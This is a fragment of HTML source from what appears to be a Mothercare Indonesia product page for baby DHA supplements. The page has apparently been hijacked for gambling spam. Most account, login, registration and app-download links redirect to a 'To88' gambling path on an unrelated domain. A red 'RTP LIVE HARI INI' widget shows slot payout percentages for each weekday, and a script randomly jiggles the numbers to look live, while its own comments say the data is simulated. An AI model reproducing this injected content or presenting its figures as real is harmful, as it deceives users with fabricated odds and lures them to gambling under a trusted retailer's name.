scroll; scrollbar-width: none; overflow-x: hidden;"> 10574 <div class="headcontent"> 10575 <p><a href="/toys-activity/bouncers-walkers.html">ayunan dan walker bayi</a></p> 10576 </div> 10577 </div> 10578 </div> 10579 </div> 10580 <!-- column 1 --> 10581 <!--column 1--> 10582 <div class="col-md-2 col-sm-3"> 10583 <div class="mn-block"> 10584 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10585 <div class="headcontent"> 10586 <p><a href="/toys-activity/baby-gyms-playmats.html">alas bermain anak bayi</a></p> 10587 </div> 10588 </div> 10589 </div> 10590 </div> 10591 <!-- column 1 --> 10592 <!--column 3--> 10593 <div class="col-md-2 col-sm-3"> 10594 <div class="mn-block"> 10595 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10596 <div class="headcontent"> 10597 <p><a href="/toys-activity/toys.html">mainan anak bayi</a></p> 10598 </div> 10599 <ul class="te_az" style="padding:0;"> 10600 <li class="ks_content"> 10601 <p><a href="/toys-activity/toys/mothercare-toys.html">mothercare toys</a></p> 10602 <p><a href="/toys-activity/toys/elc-toys.html">elc toys</a></p> 10603 </li> 10604 </ul> 10605 </div> 10606 </div> 10607 </div> 10608 <!-- column 3--> 10609 </div> 10610 </div> 10611 </div> 10612 </div> 10613 </div> 10614 </li> 10615 <li id="vesitem-8847317423080612096131144" class=" nav-item level0 submenu-left subhover dropdown level-top "><a href="https://www.entretiendecheveuxafro.com/blog/" target="_self" data-hover-color="#fff !important" data-hover-bgcolor="#000 !important" data-color="#fff !important" data-bgcolor="#000 !important" style="color: #fff !important;background-color: #000 !important;" class=" nav-anchor"><span>To88 LOGIN</span></a></li> 10616 </ul> 10617 </nav> 10618 </div> 10619 <div class="kanmo-megamenu-header-mobile"> 10620 <div class="header-megamenu-mobile">
10621 <span class="fa-user-icon-mc"></span> 10622 <div class="account-label"> 10623 <a href="/customer/account" class="account-link">Akun Saya</a> 10624 </div> 10625 <button><a href="https://www.entretiendecheveuxafro.com/to88/">Masuk</a></button> 10626 </div> 10627 </div> 10628 <div class="mobile-header-panel" style="background: linear-gradient(135deg, #666666, #7d7d7d, #000);" data-breeze-temporary="true"><a class="action skip contentarea" href="#contentarea"> 10629 <span> lewati ke Konten </span> 10630 </a> 10631 <div class="left_top_header"> 10632 <div class="top-header-components-mc left-top"> 10633 <div class="header_panel_info"> 10634 <ul> 10635 <li class="download-app-link"> 10636 <a href="https://www.entretiendecheveuxafro.com/to88/"> 10637 <img width="14" height="14" alt="download icon" loading="lazy" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/app.png"> download apps </a> 10638 <div class="download-popup"> 10639 <div class="wrap"> 10640 <div class="right-cols"> 10641 <div class="app-content"> download app from: <div class="view code app_store"> 10642 <a class="sh-store-link" href="https://www.entretiendecheveuxafro.com/to88/" ng-click="callAction($event, 'appStore')"> 10643 <img loading="lazy" width="200" height="60" alt="app store" class="sh-store-link__image" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/apple-en.png"> 10644 </a> 10645 </div> 10646 <div class="view code play_store"> 10647 <a class="sh-store-link" data-test="google-play-link" href="https://www.entretiendecheveuxafro.com/to88/" ng-click="callAction($event, 'appStore')"> 10648 <img loading="lazy" width="200" height="60" alt="google play" class="sh-store-link__image" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/google-en.png"> 10649 </a> 10650 </div> 10651 </div> 10652 </div> 10653 </div> 10654 </div> 10655 </li> 10656 <li> 10657 <a href="https://www.entretiendecheveuxafro.com/to88/"> 10658 <img loading="lazy" width="22" height="22" alt="gift registry icon" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gift_white.svg"> gift registry </a> 10659 </li> 10660 </ul> 10661 </div> 10662 </div> 10663 </div> 10664 <div class="right_top_header"> 10665 <div class="switcher language switcher-language" data-ui-id="language-switcher" id="switcher-language"> 10666 <strong class="label switcher-label"><span>Bahasa</span></strong> 10667 <div class="actions dropdown options switcher-options"> 10668 <div class="action toggle switcher-trigger" id="switcher-language-trigger"> 10669 <strong class="view-mothercare_website_bahasa"> 10670 <span>ID</span> 10671 </strong> 10672 </div> 10673 <div class="ui-dialog mage-dropdown-dialog" role="dialog"></div> 10674 <div class="ui-dialog mage-dropdown-dialog" role="dialog"></div> 10675 </div> 10676 </div> 10677 <style> 10678 .switch { 10679 position: relative; 10680 display: inline-block; 10681 width: 60px; 10682 height: 34px; 10683 } 10684 10685 .switch input { 10686 opacity: 0; 10687 width: 0; 10688 height: 0; 10689 } 10690 10691 .slider { 10692 position: absolute; 10693 cursor: pointer; 10694 top: 0; 10695 left: 0; 10696 right: 0; 10697 bottom: 0; 10698 background-color: #ccc; 10699 -webkit-transition: .4s; 10700 transition: .4s; 10701 } 10702 10703 .slider:before { 10704 position: absolute; 10705 content: "ID";
10706 height: 26px; 10707 width: 26px; 10708 left: 4px; 10709 bottom: 4px; 10710 background-color: white; 10711 -webkit-transition: .4s; 10712 transition: .4s; 10713 color: #000; 10714 } 10715 10716 input:checked+.slider { 10717 background-color: #ccc; 10718 } 10719 10720 input:focus+.slider { 10721 box-shadow: 0 0 1px #2196F3; 10722 } 10723 10724 input:checked+.slider:before { 10725 -webkit-transform: translateX(26px); 10726 -ms-transform: translateX(26px); 10727 transform: translateX(26px); 10728 content: "EN"; 10729 color: #000; 10730 } 10731 10732 /* Rounded sliders */ 10733 .slider.round { 10734 border-radius: 34px; 10735 } 10736 10737 .slider.round:before { 10738 border-radius: 50%; 10739 } 10740 </style> 10741 <div class="top-header-components-mc"> 10742 <div class="lang-switch-mc"> 10743 <li><label class="switch"> 10744 <input type="checkbox" checked=""> 10745 <span class="slider round"></span> 10746 </label> 10747 </li> 10748 </div> 10749 <div class="header_panel_info"> 10750 <ul> 10751 <li><a href="https://www.entretiendecheveuxafro.com/to88/"><img loading="lazy" width="22" height="22" alt="store finder icon" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp">LOGIN</a></li> 10752 <li><a href="https://www.entretiendecheveuxafro.com/to88/"><img loading="lazy" width="22" height="22" alt="Kanmo Circle logo" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp">DAFTAR</a></li> 10753 <li><a href="https://www.entretiendecheveuxafro.com/to88/"><img loading="lazy" width="22" height="22" alt="Whatsapp logo" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/Whatsapp_Logo.svg"> Contact Us</a></li> 10754 </ul> 10755 </div> 10756 </div> 10757 <style> 10758 .header_panel_info ul { 10759 display: flex; 10760 column-gap: 20px; 10761 list-style: none; 10762 } 10763 10764 .header_panel_info img { 10765 margin-right: 10px; 10766 } 10767 10768 .panel.header div { 10769 width: 100%; 10770 } 10771 10772 .top-header-components-mc { 10773 display: flex; 10774 justify-content: space-between; 10775 } 10776 10777 .lang-switch-mc li { 10778 list-style: none; 10779 } 10780 10781 @media only screen and (max-width: 769px) { 10782 .header_panel_info ul { 10783 flex-direction: column; 10784 } 10785 } 10786 </style> 10787 </div> 10788 </div> 10789 </div> 10790 <div class="kanmo-custom-search-mc"> 10791 <div class="block block-search"> 10792 <div class="block block-title"><strong>Cari</strong></div> 10793 <div class="block block-content"> 10794 <form class="form minisearch" id="search_mini_form" action="https://www.mothercare.co.id/catalogsearch/result/" method="get" novalidate="true"> 10795 <div class="field search"> 10796 <label class="label" for="search" data-role="minisearch-label"> 10797 <img loading="lazy" width="30" height="30" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/Mothercare_Search_Icon.svg" alt="search icon"> 10798 </label> 10799 <div class="control"> 10800 <input id="search" data-mage-init="{ 10801 "quickSearch": { 10802 "formSelector": "#search_mini_form", 10803 "url": "", 10804 "destinationSelector": "#search_autocomplete", 10805 "minSearchLength": "3" 10806 } 10807 }" type="text" name="q" value="" placeholder="Kata kunci, kode produk" class="input-text" maxlength="128" role="combobox" aria-haspopup="false" aria-autocomplete="both" autocomplete="off" aria-expanded="false" data-breeze-processed="true"> 10808 <div id="search_autocomplete" class="search-autocomplete"></div> 10809 <div class="nested"> 10810 <a class="action advanced" href="https://www.mothercare.co.id/catalogsearch/advanced/" data-action="advanced-search"> Pencarian Lanjutan </a> 10811 </div> 10812 <button class="search-cancel-mob" id="search-cancel-mob">cancel</button> 10813 </div> 10814 </div> 10815 <div class="actions"> 10816 <button type="submit" title="Cari" class="action search" aria-label="Search" disabled="">
10817 <span>Cari</span> 10818 </button> 10819 </div> 10820 </form> 10821 </div> 10822 </div> 10823 </div> 10824 <div class="kanmo-search-button-mc"> 10825 <button id="kanmo-mc-search-btn"> 10826 <img loading="lazy" width="27" height="25" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/Mothercare_Search_Icon.svg" alt="search icon"> 10827 </button> 10828 <button id="kanmo-mc-cancel-btn">cancel</button> 10829 </div> 10830 <style type="text/css"> 10831 @media only screen and (max-width: 768px) { 10832 .klevuWrap { 10833 top: 162px !important; 10834 } 10835 } 10836 </style> 10837 </div> 10838
10838<script type="text/x-magento-init" data-breeze-processed="true"> { 10839 "*": { 10840 "Magento_Ui/js/core/app": { 10841 "components": { 10842 "customer-name": { 10843 "component": "Kanmo_CustomerName/js/customer-name" 10844 } 10845 } 10846 } 10847 } 10848} 10849</script>
10849 10850 <style type="text/css"> 10851 #customer-name-container { 10852 color: #6A6C6C; 10853 order: 2; 10854 font-size: 14px; 10855 line-height: 0px; 10856 margin: 3px; 10857 } 10858 10859 #customer-name-container .customer-name { 10860 word-break: inherit; 10861 max-width: 100px; 10862 padding: 0; 10863 overflow: hidden; 10864 position: relative; 10865 display: inline-block; 10866 text-align: center; 10867 text-decoration: none; 10868 text-overflow: ellipsis; 10869 white-space: nowrap; 10870 line-height: 1.3; 10871 } 10872 10873 @media screen and (max-width: 768px) { 10874 #customer-name-container { 10875 display: none; 10876 } 10877 } 10878 </style> 10879
10879<script data-breeze=""> 10880 require(['jquery'], ($) => { 10881 $(document).ready(function() { 10882 // Insert the entire #customer-name-container element before the target element 10883 $('.account-dropdown .action.toggle.switcher-trigger .abs-visually-hidden').before($('#customer-name-container')); 10884 }); 10885 }); 10886 </script>
10886 10887 <div class="actions dropdown options switcher-options no-chevron account-dropdown" data-trigger="true" data-dropdown-parent="true"> 10888 <a class="action toggle switcher-trigger" href="https://www.entretiendecheveuxafro.com/blog/" title="Akun Saya" data-mage-init="{"dropdown":{"dialog":null}}" data-toggle="dropdown" data-trigger-keypress-button="true" data-breeze-processed="true" data-dropdown="true" aria-haspopup="true"> 10889 <div id="customer-name-container" data-bind="scope: 'customer-name'"> 10890 <div id="customer-name" class="customer-name" data-bind="visible: isLoggedIn(), text: getFirstName()" style="display: none;"></div> 10891 </div><span class="abs-visually-hidden">Akun Saya</span> 10892 </a> 10893 <div class="dropdown switcher-dropdown" data-target="dropdown"> 10894 <ul class="header links"> 10895 <li class="link authorization-link loginRevamp" data-label="Atau"> 10896 <a href="https://www.entretiendecheveuxafro.com/to88/"> Masuk / buat akun </a> 10897 </li> 10898
10898<script data-breeze=""> 10899 require(['jquery'], function($) { 10900 $(document).ready(function() { 10901 // Hide the second li 10902 $('.header.links li:nth-of-type(2)').hide(); 10903 }); 10904 }); 10905 </script>
10905 10906 <li style="display: none;"> 10907 <a href="https://www.entretiendecheveuxafro.com/blog/"> buat akun </a> 10908 </li> 10909 <li> 10910 <a href="https://www.entretiendecheveuxafro.com/blog/"> 10911 <span>Bantuan</span> 10912 </a> 10913 </li> 10914 </ul> 10915 </div> 10916 </div> 10917 <div class="actions dropdown options switcher-options no-chevron no-chevron wishlist-dropdown dropdown-lg"> 10918 <a class="action toggle switcher-trigger" href="https://www.entretiendecheveuxafro.com/blog/" title="Daftar Keinginan"> 10919 <span class="abs-visually-hidden">Daftar Keinginan</span> 10920 </a> 10921 </div> 10922 <div data-block="minicart" class="minicart-wrapper"> 10923 <a class="action showcart" href="https://www.entretiendecheveuxafro.com/blog/" data-bind="scope: 'minicart_content'"> 10924 <span class="text empty" data-bind=" 10925 css: { 10926 empty: !!getCartParam('summary_count') == false 10927 }">Keranjang Saya</span> 10928 <span class="counter qty empty" data-bind=" 10929 css: { 10930 empty: !!getCartParam('summary_count') == false && !isLoading() 10931 }, 10932 blockLoader: isLoading 10933 "> 10934 <span class="counter-number"><!-- ko text: getCartParam('summary_count') --><!-- /ko --></span> 10935 <span class="counter-label"> 10936 <!-- ko if: getCartParam('summary_count') --><!-- /ko --> 10937 </span> 10938 </span> 10939 </a> 10940
10940<script> 10941 window.checkout = { 10942 "shoppingCartUrl": "https:\/\/www.mothercare.co.id\/checkout\/cart\/", 10943 "checkoutUrl": "https:\/\/www.mothercare.co.id\/onestepcheckout\/", 10944 "updateItemQtyUrl": "https:\/\/www.mothercare.co.id\/checkout\/sidebar\/updateItemQty\/", 10945 "removeItemUrl": "https:\/\/www.mothercare.co.id\/checkout\/sidebar\/removeItem\/", 10946 "imageTemplate": "Magento_Catalog\/product\/image_with_borders", 10947 "baseUrl": "https:\/\/www.mothercare.co.id\/", 10948 "minicartMaxItemsVisible": 5, 10949 "websiteId": "3", 10950 "maxItemsToDisplay": 10, 10951 "storeId": "15", 10952 "storeGroupId": "11", 10953 "agreementIds": ["9"], 10954 "customerLoginUrl": "https:\/\/www.mothercare.co.id\/customer\/account\/login\/referer\/aHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9ub3JkaWMtbmF0dXJhbHMtYmFieS1zLWRoYS01MjEzMDEyNS1jbm8wMS5odG1s\/", 10955 "isRedirectRequired": false, 10956 "autocomplete": "off", 10957 "captcha": { 10958 "user_login": { 10959 "isCaseSensitive": false, 10960 "imageHeight": 50, 10961 "imageSrc": "", 10962 "refreshUrl": "https:\/\/www.mothercare.co.id\/captcha\/refresh\/", 10963 "isRequired": false, 10964 "timestamp": 1742308061 10965 } 10966 } 10967 } 10968 </script>
10968 10969
10969<script type="text/x-magento-init" data-breeze-processed="true"> { 10970 "[data-block='minicart']": { 10971 "Magento_Ui/js/core/app": {"components":{"minicart_content":{"children":{"subtotal.container":{"children":{"subtotal":{"children":{"subtotal.totals":{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"component":"Magento_Tax\/js\/view\/checkout\/minicart\/subtotal\/totals","children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal\/totals","config":{"displayArea":"minicart-subtotal-hidden","template":"Magento_Msrp\/checkout\/minicart\/subtotal\/totals"}}}}},"component":"uiComponent","config":{"template":"Magento_Checkout\/minicart\/subtotal"}}},"component":"uiComponent","config":{"displayArea":"subtotalContainer"}},"item.renderer":{"component":"Magento_Checkout\/js\/view\/cart-item-renderer","config":{"displayArea":"defaultRenderer","template":"Magento_Checkout\/minicart\/item\/default"},"children":{"item.image":{"component":"Magento_Catalog\/js\/view\/image","config":{"template":"Magento_Catalog\/product\/image","displayArea":"itemImage"}},"checkout.cart.item.price.sidebar":{"component":"uiComponent","config":{"template":"Magento_Checkout\/minicart\/item\/price","displayArea":"priceSidebar"}}}},"extra_info":{"component":"uiComponent","config":{"displayArea":"extraInfo"}},"promotion":{"component":"uiComponent","config":{"displayArea":"promotion"}}},"config":{"override_minicart":false,"itemRenderer":{"default":"defaultRenderer","simple":"defaultRenderer","virtual":"defaultRenderer"},"template":"Magento_Checkout\/minicart\/content"},"component":"Magento_Checkout\/js\/view\/minicart"},"ajaxpro_minicart_content":{"children":{"subtotal.container":{"children":{"subtotal":{"children":{"subtotal.totals":{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1}}}}}}},"config":{"override_minicart":false}}},"types":[]} }, 10972 "*": { 10973 "Magento_Ui/js/block-loader": "https\u003A\u002F\u002Fwww.mothercare.co.id\u002Fstatic\u002Fversion1741963345\u002Ffrontend\u002FCodilar\u002Fmothercare\u002Fid_ID\u002Fimages\u002Floader\u002D1.gif" 10974 } 10975 } 10976 </script>
10976 10977 <div class="ui-dialog mage-dropdown-dialog" role="dialog" style="display: none;"> 10978 <div class="block block-minicart" data-role="dropdownDialog" data-mage-init="{"dropdownDialog":{ 10979 "appendTo":"[data-block=minicart]", 10980 "triggerTarget":".showcart", 10981 "timeout": "2000", 10982 "closeOnMouseLeave": false, 10983 "closeOnEscape": true, 10984 "triggerClass":"active", 10985 "parentClass":"active", 10986 "buttons":[]}}" data-breeze-processed="true"> 10987 <div id="minicart-content-wrapper" data-bind=" 10988 scope: 'minicart_content' 10989 "><!-- ko template: { if: shouldRender, name: getTemplate() } --><!-- /ko --></div> 10990 </div> 10991 </div> 10992 </div> 10993 </div> 10994 </header> 10995 <div class="breadcrumbs"> 10996 <style> 10997 /* RTP WRAPPER */ 10998 .rtp-live-box { 10999 width: 100%; 11000 box-sizing: border-box; 11001 padding: 18px; 11002 border-radius: 12px; 11003 overflow: hidden; 11004 position: relative; 11005 font-family: Arial, Helvetica, sans-serif; 11006 background: radial-gradient(circle at top, rgb(243 243 243 / 35%), transparent 45%), linear-gradient(145deg, #970000, #760000 55%, #6c0404); 11007 border: 2px solid #ff0000; 11008 box-shadow: 0 0 15px rgb(152 0 0 / 65%), inset 0 0 20px rgb(255 0 0 / 25%); 11009 } 11010 11011 .page-product-configurable #maincontent .column.main .product-info-wrapper .page-title-wrapper.product h1.page-title { 11012 margin: 0; 11013 font-family: 'mothercare_2020-regular-webfont'; 11014 font-style: normal; 11015 font-weight: 700; 11016 font-size: 24px; 11017 line-height: 150%; 11018 letter-spacing: -.011em; 11019 color: #ffffff; 11020 text-transform: none 11021 } 11022 11023 html { 11024 color: rgb(255 255 255); 11025 background: rgba(var(--base-bg), var(--base-bg-alpha, 1)); 11026 font-family: 'mothercare_2020-regular-webfont', sans-serif; 11027 font-size: 1rem; 11028 line-height: 1.5rem 11029 } 11030 11031 /* BACKGROUND LIGHT */ 11032 .rtp-live-box::before { 11033 content: ""; 11034 position: absolute; 11035 inset: -50%; 11036 background: conic-gradient(transparent, rgb(255 255 255 / 18%), transparent 30%); 11037 animation: rtpRotate 7s linear infinite; 11038 pointer-events: none; 11039 } 11040 11041 .rtp-content { 11042 position: relative; 11043 z-index: 2; 11044 } 11045 11046 /* HEADER */ 11047 .rtp-header { 11048 text-align: center; 11049 margin-bottom: 15px; 11050 } 11051 11052 .rtp-header h2 { 11053 margin: 0 0 7px; 11054 color: #ffffff; 11055 font-size: 25px; 11056 font-weight: 900; 11057 letter-spacing: 1px; 11058 text-shadow: 11059 0 2px 0 #000000, 0 0 12px rgb(0 0 0 / 90%); 11060 } 11061 11062 .rtp-live-indicator { 11063 display: inline-flex; 11064 align-items: center; 11065 gap: 7px; 11066 padding: 6px 12px; 11067 border-radius: 20px; 11068 background: rgb(0 0 0 / 65%); 11069 color: #ffffff; 11070 font-size: 13px; 11071 font-weight: 700; 11072 border: 1px solid rgb(255 255 255 / 45%); 11073 } 11074 11075 .product.data.items #product\.info\.description :where(a:not(.product-item-link):not(.action)), 11076 .prose :where(a:not(.product-item-link):not(.action)), 11077 .cms-no-route .main :where(a:not(.product-item-link):not(.action)), 11078 .cms-page-view .main :where(a:not(.product-item-link):not(.action)), 11079 [data-content-type=row] :where(a:not(.product-item-link):not(.action)), 11080 .product.attribute :where(a:not(.product-item-link):not(.action)) { 11081 color: rgb(255 0 0 / 85%); 11082 text-decoration: none 11083 } 11084 11085 .rtp-live-dot { 11086 width: 9px; 11087 height: 9px; 11088 border-radius: 50%; 11089 background: #ff0000; 11090 box-shadow: 0 0 10px #ff0000; 11091 animation: liveBlink 0.8s infinite alternate; 11092 } 11093 11094 /* AUTOMATIC CLOCK */ 11095 .rtp-clock { 11096 margin-top: 10px; 11097 color: #fff; 11098 font-size: 14px; 11099 font-weight: 700; 11100 } 11101 11102 .rtp-clock span { 11103 color: #ffbc03; 11104 } 11105 11106 /* WEEKDAY GRID */ 11107 .rtp-days { 11108 display: grid; 11109 grid-template-columns: repeat(5, 1fr); 11110 gap: 9px; 11111 } 11112 11113 /* DAY CARD */ 11114 .rtp-day { 11115 padding: 13px 8px; 11116 text-align: center; 11117 border-radius: 9px; 11118 background: linear-gradient(180deg, rgb(0 0 0 / 95%), rgb(120 3 3 / 95%)); 11119 border: 1px solid rgb(255 255 255 / 80%); 11120 box-shadow: 11121 0 5px 12px rgb(139 139 139 / 35%), inset 0 1px 0 rgba(255, 255, 255, 0.5); 11122 transition: 0.3s ease; 11123 } 11124 11125 .rtp-day:hover { 11126 transform: translateY(-3px); 11127 box-shadow: 11128 0 8px 18px rgba(74, 28, 0, 0.5), 11129 0 0 15px rgba(255, 234, 84, 0.65); 11130 } 11131 11132 /* ACTIVE CURRENT DAY */ 11133 .rtp-day.active { 11134 background: linear-gradient(180deg, #000000, #595959, #000000); 11135 border: 2px solid #ffffff; 11136 animation: activeCardPulse 1.2s infinite alternate; 11137 } 11138 11139 .rtp-day-name { 11140 display: block; 11141 color: #ffffff; 11142 font-size: 14px; 11143 font-weight: 900; 11144 text-transform: uppercase; 11145 margin-bottom: 7px; 11146 } 11147 11148 /* PULSING RTP NUMBER */ 11149 .rtp-number { 11150 display: inline-block; 11151 color: #fff; 11152 font-size: 25px; 11153 font-weight: 900; 11154 line-height: 1; 11155 text-shadow: 11156 0 2px 0 #000000, 0 0 8px #000000, 0 0 16px rgb(112 112 112 / 80%); 11157 animation: rtpBeat 0.7s infinite; 11158 } 11159 11160 .rtp-label { 11161 display: block; 11162 margin-top: 6px; 11163 color: #e5e5e5; 11164 font-size: 11px; 11165 font-weight: 800; 11166 } 11167 11168 /* PROGRESS BAR */ 11169 .rtp-progress { 11170 width: 100%; 11171 height: 7px; 11172 margin-top: 9px; 11173 border-radius: 20px; 11174 overflow: hidden; 11175 background: rgba(91, 34, 0, 0.45); 11176 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.4); 11177 } 11178 11179 .rtp-progress-bar { 11180 height: 100%; 11181 width: 0; 11182 border-radius: 20px; 11183 background: linear-gradient(90deg, #ffffff, #ff0000, #ff0000); 11184 box-shadow: 0 0 9px #fff000; 11185 transition: width 1.2s ease; 11186 position: relative; 11187 overflow: hidden; 11188 } 11189 11190 .rtp-progress-bar::after { 11191 content: ""; 11192 position: absolute; 11193 top: 0; 11194 left: -60%; 11195 width: 45%; 11196 height: 100%; 11197 background: linear-gradient(90deg, 11198 transparent, 11199 rgba(255, 255, 255, 0.9), 11200 transparent); 11201 animation: progressShine 1.6s infinite; 11202 } 11203 11204 /* INFO */ 11205 .rtp-footer { 11206 text-align: center; 11207 margin-top: 13px; 11208 color: #ffffff; 11209 font-size: 11px; 11210 line-height: 1.5; 11211 } 11212 11213 /* ANIMATIONS */ 11214 @keyframes rtpBeat { 11215 11216 0%, 11217 100% { 11218 transform: scale(1); 11219 } 11220 11221 35% { 11222 transform: scale(1.13) rotate(-1deg); 11223 } 11224 11225 55% { 11226 transform: scale(0.96) rotate(1deg); 11227 } 11228 11229 75% { 11230 transform: scale(1.08); 11231 } 11232 } 11233 11234 @keyframes liveBlink { 11235 from { 11236 opacity: 0.45; 11237 transform: scale(0.8); 11238 } 11239 11240 to { 11241 opacity: 1;
11242 transform: scale(1.3); 11243 } 11244 } 11245 11246 @keyframes activeCardPulse { 11247 from { 11248 box-shadow: 11249 0 5px 12px rgb(85 85 85 / 40%), 0 0 7px #c1c1c1; 11250 } 11251 11252 to { 11253 box-shadow: 11254 0 8px 20px rgb(1 1 1 / 60%), 0 0 22px #d1d1d1; 11255 } 11256 } 11257 11258 @keyframes progressShine { 11259 from { 11260 left: -60%; 11261 } 11262 11263 to { 11264 left: 130%; 11265 } 11266 } 11267 11268 @keyframes rtpRotate { 11269 from { 11270 transform: rotate(0deg); 11271 } 11272 11273 to { 11274 transform: rotate(360deg); 11275 } 11276 } 11277 11278 /* MOBILE */ 11279 @media (max-width: 700px) { 11280 .rtp-days { 11281 grid-template-columns: repeat(2, 1fr); 11282 } 11283 11284 .rtp-day:last-child { 11285 grid-column: span 2; 11286 } 11287 11288 .rtp-header h2 { 11289 font-size: 21px; 11290 } 11291 } 11292 11293 @media (max-width: 400px) { 11294 .rtp-live-box { 11295 padding: 13px; 11296 } 11297 11298 .rtp-number { 11299 font-size: 22px; 11300 } 11301 } 11302 </style> 11303 <div class="rtp-live-box"> 11304 <div class="rtp-content"> 11305 <div class="rtp-header"> 11306 <h2>RTP LIVE HARI INI</h2> 11307 <div class="rtp-live-indicator"> 11308 <span class="rtp-live-dot"></span> LIVE UPDATE 11309 </div> 11310 <div class="rtp-clock"> Update Otomatis: <span id="rtpDateTime">Jumat, 21 Agustus 2026 ⢠13.29.50</span> 11311 </div> 11312 </div> 11313 <div class="rtp-days"> 11314 <div class="rtp-day" data-day="1"> 11315 <span class="rtp-day-name">Senin</span> 11316 <span class="rtp-number" data-base="94.7">94.7%</span> 11317 <div class="rtp-progress"> 11318 <div class="rtp-progress-bar" style="width: 94.7%;"></div> 11319 </div> 11320 <span class="rtp-label">Peluang Tinggi</span> 11321 </div> 11322 <div class="rtp-day" data-day="2"> 11323 <span class="rtp-day-name">Selasa</span> 11324 <span class="rtp-number" data-base="96.2">96.2%</span> 11325 <div class="rtp-progress"> 11326 <div class="rtp-progress-bar" style="width: 96.2%;"></div> 11327 </div> 11328 <span class="rtp-label">Peluang Tinggi</span> 11329 </div> 11330 <div class="rtp-day" data-day="3"> 11331 <span class="rtp-day-name">Rabu</span> 11332 <span class="rtp-number" data-base="93.8">93.8%</span> 11333 <div class="rtp-progress"> 11334 <div class="rtp-progress-bar" style="width: 93.8%;"></div> 11335 </div> 11336 <span class="rtp-label">Peluang Stabil</span> 11337 </div> 11338 <div class="rtp-day" data-day="4"> 11339 <span class="rtp-day-name">Kamis</span> 11340 <span class="rtp-number" data-base="97.1">97.1%</span> 11341 <div class="rtp-progress"> 11342 <div class="rtp-progress-bar" style="width: 97.1%;"></div> 11343 </div> 11344 <span class="rtp-label">Peluang Terbaik</span> 11345 </div> 11346 <div class="rtp-day active" data-day="5"> 11347 <span class="rtp-day-name">Jumat</span> 11348 <span class="rtp-number" data-base="95.4">95.4%</span> 11349 <div class="rtp-progress"> 11350 <div class="rtp-progress-bar" style="width: 95.4%;"></div> 11351 </div> 11352 <span class="rtp-label">Peluang Tinggi</span> 11353 </div> 11354 </div> 11355 <div class="rtp-footer"> Data pada widget ini merupakan simulasi tampilan dan diperbarui secara visual melalui browser. </div> 11356 </div> 11357 </div> 11358
11358<script> 11359 document.addEventListener("DOMContentLoaded", function() { 11360 const dateTimeElement = document.getElementById("rtpDateTime"); 11361 const dayCards = document.querySelectorAll(".rtp-day"); 11362 const rtpNumbers = document.querySelectorAll(".rtp-number"); 11363 /** 11364 * Menampilkan tanggal dan waktu browser secara otomatis. 11365 */ 11366 function updateClock() { 11367 const now = new Date(); 11368 const dateOptions = { 11369 weekday: "long", 11370 day: "2-digit", 11371 month: "long", 11372 year: "numeric" 11373 }; 11374 const timeOptions = { 11375 hour: "2-digit", 11376 minute: "2-digit", 11377 second: "2-digit", 11378 hour12: false 11379 }; 11380 const dateText = now.toLocaleDateString("id-ID", dateOptions); 11381 const timeText = now.toLocaleTimeString("id-ID", timeOptions); 11382 dateTimeElement.textContent = dateText + " ⢠" + timeText; 11383 } 11384 /** 11385 * Menandai hari aktif dari Senin sampai Jumat. 11386 * JavaScript: Minggu = 0, Senin = 1, dan seterusnya. 11387 */ 11388 function highlightCurrentDay() { 11389 const currentDay = new Date().getDay(); 11390 dayCards.forEach(function(card) { 11391 const cardDay = Number(card.dataset.day); 11392 card.classList.toggle("active", cardDay === currentDay && currentDay >= 1 && currentDay <= 5); 11393 }); 11394 } 11395 /** 11396 * Menggerakkan progress bar berdasarkan angka awal. 11397 */ 11398 function loadProgressBars() { 11399 rtpNumbers.forEach(function(numberElement) { 11400 const value = parseFloat(numberElement.dataset.base); 11401 const progressBar = numberElement.closest(".rtp-day").querySelector(".rtp-progress-bar"); 11402 setTimeout(function() { 11403 progressBar.style.width = value + "%"; 11404 }, 250); 11405 }); 11406 } 11407 /** 11408 * Simulasi perubahan angka kecil agar terlihat hidup. 11409 * Bukan data RTP asli. 11410 */ 11411 function animateRtpNumbers() { 11412 rtpNumbers.forEach(function(numberElement) { 11413 const baseValue = parseFloat(numberElement.dataset.base); 11414 const variation = (Math.random() * 0.8) - 0.4; 11415 let newValue = baseValue + variation; 11416 if (newValue > 98.5) { 11417 newValue = 98.5; 11418 } 11419 if (newValue < 90) { 11420 newValue = 90; 11421 } 11422 numberElement.textContent = newValue.toFixed(1) + "%"; 11423 const progressBar = numberElement.closest(".rtp-day").querySelector(".rtp-progress-bar"); 11424 progressBar.style.width = newValue + "%"; 11425 }); 11426 } 11427 updateClock(); 11428 highlightCurrentDay(); 11429 loadProgressBars(); 11430 setInterval(updateClock, 1000); 11431 setInterval(animateRtpNumbers, 4000); 11432 }); 11433 </script>
11433 11434 </div> 11435
11435<script type="text/x-magento-init" data-breeze-processed="true"> { 11436 ".breadcrumbs": { 11437 "breadcrumbs": {"categoryUrlSuffix":".html","useCategoryPathInUrl":0,"product":"Nordic Naturals Baby's DHA"} } 11438 } 11439</script>
